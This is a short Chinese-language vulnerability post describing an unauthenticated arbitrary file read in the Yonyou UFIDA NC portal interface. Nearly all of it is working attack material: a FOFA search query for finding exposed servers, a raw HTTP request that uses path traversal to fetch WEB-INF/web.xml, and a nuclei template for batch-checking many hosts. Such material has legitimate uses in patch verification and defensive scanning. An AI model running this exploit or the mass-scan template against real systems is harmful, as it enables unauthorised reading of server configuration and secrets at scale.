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漏洞描述
用友移动系统管理portal接口存在任意文件读取，攻击者可在无需登录的情况下进行任意文件读取
fofa语句
app="用友-UFIDA-NC"漏洞复现
打开页面
构造payload
GET /portal/file?cmd=getFileLocal&fileid=../../../../webapps/nc_web/WEB-INF/web.xml HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
nuclei批量验证
id: yongyou-ufida-nc-fileread
info:
name: yongyou-ufida-nc-fileread
author: changge
severity: high
description: 用友移动系统管理portal接口存在任意文件读取，攻击者可在无需登录的情况下进行任意文件读取。
metadata:
max-request: 1
fofa-query: app="用友-UFIDA-NC"
verified: true
reference:
- https://
tags: auto
http:
- raw:
- |+
GET /portal/file?cmd=getFileLocal&fileid=../../../../webapps/nc_web/WEB-INF/web.xml HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: no-cache
Connection: close
matchers:
- type: dsl
dsl:
- "contains_all(body, 'version=') && status_code==200 && contains(header,'attachment; filename')"